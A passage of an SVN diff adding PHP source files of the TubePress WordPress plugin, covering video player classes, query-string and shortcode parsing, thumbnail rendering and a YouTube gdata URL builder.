+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_player_AbstractPlayer',
+    'org_tubepress_video_Video',
+    'net_php_pear_HTML_Template_IT',
+    'org_tubepress_options_category_Embedded',
+    'org_tubepress_embedded_EmbeddedPlayerService'));
+
+/**
+ * Plays videos in a modal window
+ */
+class org_tubepress_player_impl_ModalPlayer extends org_tubepress_player_AbstractPlayer
+{
+    public function getPreGalleryHtml(org_tubepress_video_Video $vid, $galleryId)
+    {
+        $tpl = new net_php_pear_HTML_Template_IT(dirname(__FILE__) . "/../../../../../ui/players/shared/html_templates");
+        if (!$tpl->loadTemplatefile("pre_gallery_modal.tpl.html", true, true)) {
+            throw new Exception("Couldn't load pre gallery template");
+        }
+
+        $tpom = $this->getOptionsManager();
+        $eps = $this->getContainer()->safeGet($tpom->get(org_tubepress_options_category_Embedded::PLAYER_IMPL) . "-embedded", 
+            org_tubepress_embedded_EmbeddedPlayerService::YOUTUBE . "-embedded");
+        $tpl->setVariable("EMBEDSRC", $eps->toString($vid->getId()));
+        $tpl->setVariable('GALLERYID', $galleryId);
+        return $tpl->get();    
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/impl/NormalPlayer.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/impl/NormalPlayer.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/impl/NormalPlayer.class.php	(revision 44)
@@ -0,0 +1,54 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_player_AbstractPlayer',
+    'org_tubepress_ioc_ContainerAware',
+    'org_tubepress_video_Video',
+    'net_php_pear_HTML_Template_IT',
+    'org_tubepress_options_category_Embedded',
+    'org_tubepress_embedded_EmbeddedPlayerService'));
+
+/**
+ * Plays videos at the top of a gallery
+ */
+class org_tubepress_player_impl_NormalPlayer extends org_tubepress_player_AbstractPlayer implements org_tubepress_ioc_ContainerAware
+{
+    public function getPreGalleryHtml(org_tubepress_video_Video $vid, $galleryId)
+    {
+        $tpl = new net_php_pear_HTML_Template_IT(dirname(__FILE__) . "/../../../../../ui/players/normal/html_templates");
+        if (!$tpl->loadTemplatefile("pre_gallery.tpl.html", true, true)) {
+            throw new Exception("Couldn't load pre gallery template");
+        }
+
+        $tpom = $this->getOptionsManager();
+        
+        $eps = $this->getContainer()->safeGet($tpom->get(org_tubepress_options_category_Embedded::PLAYER_IMPL) . "-embedded", org_tubepress_embedded_EmbeddedPlayerService::YOUTUBE . "-embedded");
+
+        $tpl->setVariable("EMBEDSRC", $eps->toString($vid->getId()));
+        $tpl->setVariable("TITLE", $vid->getTitle());
+        $tpl->setVariable("WIDTH", 
+            $tpom->get(org_tubepress_options_category_Embedded::EMBEDDED_WIDTH));
+        $tpl->setVariable('GALLERYID', $galleryId);
+        return $tpl->get();    
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/impl/YouTubePlayer.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/impl/YouTubePlayer.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/player/impl/YouTubePlayer.class.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_player_AbstractPlayer',
+    'org_tubepress_video_Video'));
+
+/**
+ * Plays videos from the original YouTube page
+ */
+class org_tubepress_player_impl_YouTubePlayer extends org_tubepress_player_AbstractPlayer
+{
+    public function getPreGalleryHtml(org_tubepress_video_Video $vid, $galleryId)
+    {
+        return '';
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/querystring/QueryStringService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/querystring/QueryStringService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/querystring/QueryStringService.class.php	(revision 44)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Handles some tasks related to the query string
+ */
+interface org_tubepress_querystring_QueryStringService
+{
+    /**
+     * Returns what's in the address bar
+     * 
+     * @return string What's in the address bar
+     */
+    public function getFullUrl($serverVars);
+    
+    /**
+     * Try to figure out what page we're on by looking at the query string
+     * Defaults to '1' if there's any doubt
+     * 
+     * @return int The page number
+     */
+    public function getPageNum($getVars);
+    
+    public function getCustomVideo($getVars);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/querystring/SimpleQueryStringService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/querystring/SimpleQueryStringService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/querystring/SimpleQueryStringService.class.php	(revision 44)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_querystring_QueryStringService'));
+
+/**
+ * Simple implementation of org_tubepress_querystring_QueryStringService
+ */
+class org_tubepress_querystring_SimpleQueryStringService implements org_tubepress_querystring_QueryStringService
+{
+    /**
+     * Returns what's in the address bar
+     * 
+     * @return string What's in the address bar
+     */
+    public function getFullUrl($serverVars)
+    {
+        $pageURL = 'http';
+        if ($serverVars["HTTPS"] == "on") {
+            $pageURL .= "s";
+        }
+        $pageURL .= "://";
+        if ($serverVars["SERVER_PORT"] != "80") {
+             $pageURL .= $serverVars["SERVER_NAME"].":".
+                 $serverVars["SERVER_PORT"].$serverVars["REQUEST_URI"];
+        } else {
+             $pageURL .= $serverVars["SERVER_NAME"].$serverVars["REQUEST_URI"];
+        }
+        return $pageURL;
+    }
+    
+    /**
+     * Try to figure out what page we're on by looking at the query string
+     * Defaults to '1' if there's any doubt
+     * 
+     * @return int The page number
+     */
+    public function getPageNum($getVars)
+    {
+        $pageNum = ((isset($getVars["tubepress_page"])) ?
+            $getVars["tubepress_page"] : 1);
+        
+        if (!is_numeric($pageNum) || ($pageNum < 1)) {
+            $pageNum = 1;
+        }
+        return $pageNum;
+    }
+    
+    public function getCustomVideo($getVars)
+    {
+        return isset($getVars["tubepress_video"]) ?
+            $getVars["tubepress_video"] : "";
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/shortcode/ShortcodeService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/shortcode/ShortcodeService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/shortcode/ShortcodeService.class.php	(revision 44)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_options_manager_OptionsManager'));
+
+/**
+ * Handles some tasks related to TubePress shortcodes
+ */
+interface org_tubepress_shortcode_ShortcodeService
+{
+   /**
+     * This function is used to parse a shortcode into options that TubePress can use.
+     *
+     * @param string                  $content The haystack in which to search
+     * @param org_tubepress_options_manager_OptionsManager &$tpom   The TubePress options manager
+     * 
+     * @return void
+     */
+    public function parse($content, org_tubepress_options_manager_OptionsManager $tpom);
+
+    public function somethingToParse($content, $trigger = "tubepress");
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/shortcode/SimpleShortcodeService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/shortcode/SimpleShortcodeService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/shortcode/SimpleShortcodeService.class.php	(revision 44)
@@ -0,0 +1,118 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_shortcode_ShortcodeService',
+    'org_tubepress_options_category_Advanced',
+    'org_tubepress_options_manager_OptionsManager'));
+
+/**
+ * Handles some tasks related to the query string
+ */
+class org_tubepress_shortcode_SimpleShortcodeService implements org_tubepress_shortcode_ShortcodeService
+{
+   /**
+     * This function is used to parse a shortcode into options that TubePress can use.
+     *
+     * @param string                  $content The haystack in which to search
+     * @param org_tubepress_options_manager_OptionsManager &$tpom   The TubePress options manager
+     * 
+     * @return void
+     */
+    public function parse($content, org_tubepress_options_manager_OptionsManager $tpom, $mergeWithExistingOptions = false)
+    {    
+        /* what trigger word are we using? */
+        $keyword = $tpom->get(org_tubepress_options_category_Advanced::KEYWORD);
+        
+        if (!$this->somethingToParse($content, $keyword)) {
+            return;
+        }
+        
+        $customOptions = array();  
+          
+        /* Match everything in square brackets after the trigger */
+        $regexp = "\[$keyword(.*)\]";
+        preg_match("/$regexp/", $content, $matches);
+        
+        $tpom->setShortcode($matches[0]);
+
+        /* Anything matched? */
+        if (!isset($matches[1]) || $matches[1] == "") {
+            $this->_applyOptions($tpom, $customOptions, $mergeWithExistingOptions);
+            return;
+        }
+        
+        /* Break up the options by comma */
+        $pairs = explode(",", $matches[1]);
+        
+        $optionsArray = array();
+        foreach ($pairs as $pair) {
+            $pieces                    = explode("=", $pair);
+            $pieces[0]                 = org_tubepress_shortcode_SimpleShortcodeService::_cleanupTagValue($pieces[0]);
+            $pieces[1]                 = org_tubepress_shortcode_SimpleShortcodeService::_cleanupTagValue($pieces[1]);
+            $customOptions[$pieces[0]] = $pieces[1];
+        }
+
+        $this->_applyOptions($tpom, $customOptions, $mergeWithExistingOptions);
+    }
+
+    public function somethingToParse($content, $trigger = "tubepress")
+    {
+        return strpos($content, '[' . $trigger) !== false;
+    }
+    
+    private function _applyOptions($tpom, $opts, $merge)
+    {
+        if ($merge) {
+            $tpom->mergeCustomOptions($opts);
+        } else {
+            $tpom->setCustomOptions($opts);
+        }
+    }
+
+    /**
+     * Tries to strip out any quotes from a tag option name or option value. This
+     * is ugly, ugly, ugly, and it still doesn't work as well as I'd like it to
+     *
+     * @param string &$nameOrValue The raw option name or value
+     * 
+     * @return string The cleaned up option name or value
+     */
+    private static function _cleanupTagValue(&$nameOrValue)
+    {
+        $nameOrValue = 
+            trim(str_replace(array("&#8220;", 
+                "&#8221;", "&#8217;", "&#8216;",
+                "&#8242;", "&#8243;", "&#34", "'", "\""),"", 
+                trim($nameOrValue)));
+        
+        if ($nameOrValue == "true") {
+            return true;
+        }
+        if ($nameOrValue == "false") {
+            return false;
+        }
+        return $nameOrValue;
+    }
+    
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/thumbnail/SimpleThumbnailService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/thumbnail/SimpleThumbnailService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/thumbnail/SimpleThumbnailService.class.php	(revision 44)
@@ -0,0 +1,221 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_thumbnail_ThumbnailService',
+    'org_tubepress_video_Video',
+    'net_php_pear_HTML_Template_IT',
+    'org_tubepress_options_manager_OptionsManager',
+    'org_tubepress_options_category_Advanced',
+    'org_tubepress_options_category_Display',
+    'org_tubepress_options_category_Embedded',
+    'org_tubepress_options_category_Meta',
+    'org_tubepress_message_MessageService',
+    'org_tubepress_util_StringUtils'));
+
+/**
+ * Handles the parsing of the meta info below each video thumbnail
+ *
+ */
+class org_tubepress_thumbnail_SimpleThumbnailService implements org_tubepress_thumbnail_ThumbnailService
+{
+    private $_tpl;
+    private $_tpom;
+    private $_msg;
+    private $_tppf;
+    private $_tpeps;
+    
+    public function getHtml($template, org_tubepress_video_Video $vid, $galleryId)
+    {
+        $this->_tpl = new net_php_pear_HTML_Template_IT($template);
+        if (!$this->_tpl->loadTemplatefile("thumbnail.tpl.html", true, true)) {
+            throw new Exception("Couldn't load thumbnail template");
+        }
+        $this->_getCommonStuff($vid, $galleryId);
+        $this->_getMetaStuff($vid);
+        return org_tubepress_util_StringUtils::removeEmptyLines($this->_tpl->get());
+    }
+    
+    public function setOptionsManager(org_tubepress_options_manager_OptionsManager $tpom)
+    {
+        $this->_tpom = $tpom;
+    }
+    
+    private function _getCommonStuff(org_tubepress_video_Video $vid, $galleryId)
+    {
+        $randomizeOpt = $this->_tpom->
+            get(org_tubepress_options_category_Advanced::RANDOM_THUMBS);
+        $thumbWidth   = $this->_tpom->
+            get(org_tubepress_options_category_Display::THUMB_WIDTH);
+        $thumbHeight  = $this->_tpom->
+            get(org_tubepress_options_category_Display::THUMB_HEIGHT);
+        $height       = $this->_tpom->
+            get(org_tubepress_options_category_Embedded::EMBEDDED_HEIGHT);
+        $width        = $this->_tpom->
+            get(org_tubepress_options_category_Embedded::EMBEDDED_WIDTH);
+        
+        $encodedTitle = rawurlencode($vid->getTitle());
+        $playerName = $this->_tpom->get(org_tubepress_options_category_Display::CURRENT_PLAYER_NAME);
+        $esName = $this->_tpom->get(org_tubepress_options_category_Embedded::PLAYER_IMPL);
+        $this->_tpl->setVariable('VIDEO_IMG_ANCHOR_ID', 'tubepress_image_' . $vid->getId() . '_' . $galleryId);
+        $this->_tpl->setVariable('VIDEO_IMG_ANCHOR_REL', 'tubepress_' . $esName . '_' . $playerName . '_' . $galleryId);
+        $this->_tpl->setVariable('VIDEO_IMG_ALT', $vid->getTitle());
+        $this->_tpl->setVariable('VIDEO_TITLE_ANCHOR_ID', 'tubepress_title_' . $vid->getId() . '_' . $galleryId);
+        $this->_tpl->setVariable('VIDEO_TITLE_ANCHOR_REL', 'tubepress_' . $esName . '_' . $playerName . '_' . $galleryId);
+        
+        if ($randomizeOpt) {
+            $this->_tpl->setVariable('THUMBURL', $vid->getRandomThumbURL());
+        } else {
+             $this->_tpl->setVariable('THUMBURL', $vid->getDefaultThumbURL());
+        }    
+        
+        $this->_tpl->setVariable('THUMBWIDTH', $thumbWidth);
+        $this->_tpl->setVariable('THUMBHEIGHT', $thumbHeight);
+    }
+    
+    private function _getMetaStuff(org_tubepress_video_Video $vid)
+    {
+        $class = new ReflectionClass("org_tubepress_options_category_Meta");    
+
+        /* go through each option in the category */
+        foreach ($class->getConstants() as $constant) {
+
+            if ($this->_tpom->get($constant) != 1 
+                && $this->_tpom->get($constant) != $constant) {
+                continue;
+            }
+            
+            $nofollow = $this->_tpom->get(org_tubepress_options_category_Advanced::NOFOLLOW_LINKS);
+            
+            switch ($constant) {
+                
+            case org_tubepress_options_category_Meta::TITLE:
+                $this->_tpl->setVariable('TITLE', $vid->getTitle());
+                $this->_tpl->parse('title');
+                break;
+                    
+            case org_tubepress_options_category_Meta::LENGTH:
+                $this->_tpl->setVariable('RUNTIME', $vid->getLength());
+                $this->_tpl->parse('runtime');
+                break;
+                    
+            case org_tubepress_options_category_Meta::DESCRIPTION:
+                $limit = $this->_tpom->get(org_tubepress_options_category_Display::DESC_LIMIT);
+                $desc = $vid->getDescription();
+                if ($limit > 0 && strlen($desc) > $limit) {
+                    $desc = substr($desc, 0, $limit) . "...";
+                }
+                $this->_tpl->setVariable('DESCRIPTION', $desc);
+                $this->_tpl->parse('description');
+                break;
+                
+            case org_tubepress_options_category_Meta::AUTHOR:
+                $this->_tpl->setVariable('METANAME', $this->_msg->_("video-" . $constant));
+                $this->_tpl->setVariable('AUTHOR', $vid->getAuthor());
+                if ($nofollow) { $this->_tpl->setVariable("NOFOLLOW", "rel=\"external nofollow\""); }
+                $this->_tpl->parse('author');
+                break;
+                    
+            case org_tubepress_options_category_Meta::TAGS:
+                $tags = implode(" ", $vid->getTags());
+                $this->_tpl->setVariable('METANAME', $this->_msg->_("video-" . $constant));
+                $this->_tpl->setVariable('SEARCHSTRING', rawurlencode($tags));
+                $this->_tpl->setVariable('TAGS', $tags);
+                 if ($nofollow) { $this->_tpl->setVariable("NOFOLLOW", "rel=\"external nofollow\""); }
+                $this->_tpl->parse('tags');
+                break;
+                    
+            case org_tubepress_options_category_Meta::URL:
+                $this->_tpl->setVariable('LINKVALUE', $vid->getYouTubeUrl());
+                $this->_tpl->setVariable('LINKTEXT', $this->_msg->_("video-" . $constant));
+                $this->_tpl->parse('url');
+                break;
+                
+            default:
+                $this->_tpl->setVariable('METANAME', $this->_msg->_("video-" . $constant));
+                   
+                switch ($constant) {
+
+                case org_tubepress_options_category_Meta::VIEWS:
+                    $this->_tpl->setVariable('METAVALUE', $vid->getViews());
+                    break;
+                           
+                case org_tubepress_options_category_Meta::ID:            
+                    $this->_tpl->setVariable('METAVALUE', $vid->getId());
+                    break;
+
+                case org_tubepress_options_category_Meta::RATING:
+                    $this->_tpl->setVariable('METAVALUE', $vid->getRating());
+                    break;
+                           
+                case org_tubepress_options_category_Meta::RATINGS:
+                    $this->_tpl->setVariable('METAVALUE', $vid->getRatings());
+                    break;
+                           
+                case org_tubepress_options_category_Meta::UPLOADED:
+                    $niceDate = $vid->getUploadTime();
+                    if ($niceDate != "N/A") {
+                        if ($this->_tpom->get(org_tubepress_options_category_Display::RELATIVE_DATES)) {
+                            $niceDate = 
+                                $this->_relativeTime($vid->getUploadTime());
+                        } else {
+                            $niceDate = date($this->_tpom->
+                                get(org_tubepress_options_category_Advanced::DATEFORMAT), 
+                                $vid->getUploadTime());
+                        }
+                    }
+                    $this->_tpl->setVariable('METAVALUE', $niceDate);
+                    break;
+                        
+                case org_tubepress_options_category_Meta::CATEGORY:
+                    $this->_tpl->setVariable('METAVALUE', $vid->getCategory());
+                }
+                $this->_tpl->parse('meta');
+            }
+        }
+    }
+    
+    public function setMessageService(org_tubepress_message_MessageService $messageService)
+    { 
+        $this->_msg = $messageService; 
+    }
+    
+    //Grabbed from http://www.weberdev.com/get_example-4769.html
+    
+    private function _relativeTime($timestamp){
+        $difference = time() - $timestamp;
+        $periods = array("sec", "min", "hour", "day", "week", "month", "year", "decade");
+        $lengths = array("60","60","24","7","4.35","12","10");
+    
+        if ($difference > 0) { // this was in the past
+            $ending = "ago";
+        } else { // this was in the future
+            $difference = -$difference;
+            $ending = "to go";
+        }       
+        for($j = 0; $difference >= $lengths[$j]; $j++) $difference /= $lengths[$j];
+        $difference = round($difference);
+        if($difference != 1) $periods[$j].= "s";
+        $text = "$difference $periods[$j] $ending";
+        return $text;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/thumbnail/ThumbnailService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/thumbnail/ThumbnailService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/thumbnail/ThumbnailService.class.php	(revision 44)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_video_Video'));
+
+/**
+ * Handles the parsing of the meta info below each video thumbnail
+ *
+ */
+interface org_tubepress_thumbnail_ThumbnailService
+{
+    public function getHtml($template, org_tubepress_video_Video $vid, $galleryId);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/url/SimpleUrlBuilder.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/url/SimpleUrlBuilder.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/url/SimpleUrlBuilder.class.php	(revision 44)
@@ -0,0 +1,171 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_url_UrlBuilder',
+    'org_tubepress_options_category_Gallery',
+    'org_tubepress_gallery_Gallery',
+    'org_tubepress_options_manager_OptionsManager',
+    'org_tubepress_options_category_Advanced',
+    'org_tubepress_options_category_Display',
+    'org_tubepress_options_category_Embedded',
+    'org_tubepress_options_category_Meta',
+    'net_php_pear_Net_URL2',
+    'org_tubepress_options_category_Feed'));
+
+/**
+ * Builds URLs to send out to YouTube for gdata
+ *
+ */
+class org_tubepress_url_SimpleUrlBuilder implements org_tubepress_url_UrlBuilder
+{
+    private $_tpom;
+    
+    /**
+     * Builds a gdata request url for a list of videos
+     *
+     * @return string The gdata request URL for this gallery
+     */
+    public function buildGalleryUrl($currentPage)
+    {
+        $url = "";
+        
+        switch ($this->_tpom->get(org_tubepress_options_category_Gallery::MODE)) {
+            
+        case org_tubepress_gallery_Gallery::USER:
+            $url = "users/" . $this->_tpom->get(org_tubepress_options_category_Gallery::USER_VALUE) .
+                "/uploads";
+            break;
+            
+        case org_tubepress_gallery_Gallery::TOP_RATED:
+            $url = "standardfeeds/top_rated?time=" . 
+                $this->_tpom->get(org_tubepress_options_category_Gallery::TOP_RATED_VALUE);
+            break;
+            
+        case org_tubepress_gallery_Gallery::POPULAR:
+            $url = "standardfeeds/most_viewed?time=" . 
+                $this->_tpom->get(org_tubepress_options_category_Gallery::MOST_VIEWED_VALUE);
+            break;
+            
+        case org_tubepress_gallery_Gallery::PLAYLIST:
+            $url = "playlists/" . 
+                $this->_tpom->get(org_tubepress_options_category_Gallery::PLAYLIST_VALUE);
+            break;
+                
+        case org_tubepress_gallery_Gallery::MOST_RESPONDED:
+            $url = "standardfeeds/most_responded";
+            break;
+              
+        case org_tubepress_gallery_Gallery::MOST_RECENT:
+            $url = "standardfeeds/most_recent";
+            break;
+                
+        case org_tubepress_gallery_Gallery::MOST_LINKED:
+            $url = "standardfeeds/most_linked";
+            break;
+                
+        case org_tubepress_gallery_Gallery::MOST_DISCUSSESD:
+            $url = "standardfeeds/most_discussed";
+            break;
+                
+        case org_tubepress_gallery_Gallery::MOBILE:
+            $url = "standardfeeds/watch_on_mobile";
+            break;
+               
+        case org_tubepress_gallery_Gallery::FAVORITES:
+            $url = "users/" . $this->_tpom->get(org_tubepress_options_category_Gallery::FAVORITES_VALUE) .
+                "/favorites";
+            break;
+                
+        case org_tubepress_gallery_Gallery::TAG:
+            $tags = $this->_tpom->get(org_tubepress_options_category_Gallery::TAG_VALUE);
+            $tags = explode(" ", $tags);
+            $url  = "videos?q=" . implode("+", $tags);
+            break;
+                                
+        default:
+            $url = "standardfeeds/recently_featured";
+            break;
+        }
+
+        $request = "http://gdata.youtube.com/feeds/api/$url";
+        $this->_urlPostProcessing($request, $currentPage);
+        return $request;
+        //return str_replace("&", "&amp;", $request);
+    }
+    
+/**
+     * Appends some global query parameters on the request
+     * before we fire it off to YouTube
+     *
+     * @param string                  &$request The request to be manipulated
+     * 
+     * @return void
+     */
+    private function _urlPostProcessing(&$request, $currentPage)
+    {
+        
+        $perPage   = $this->_tpom->get(org_tubepress_options_category_Display::RESULTS_PER_PAGE);
+        $filter    = $this->_tpom->get(org_tubepress_options_category_Feed::FILTER);
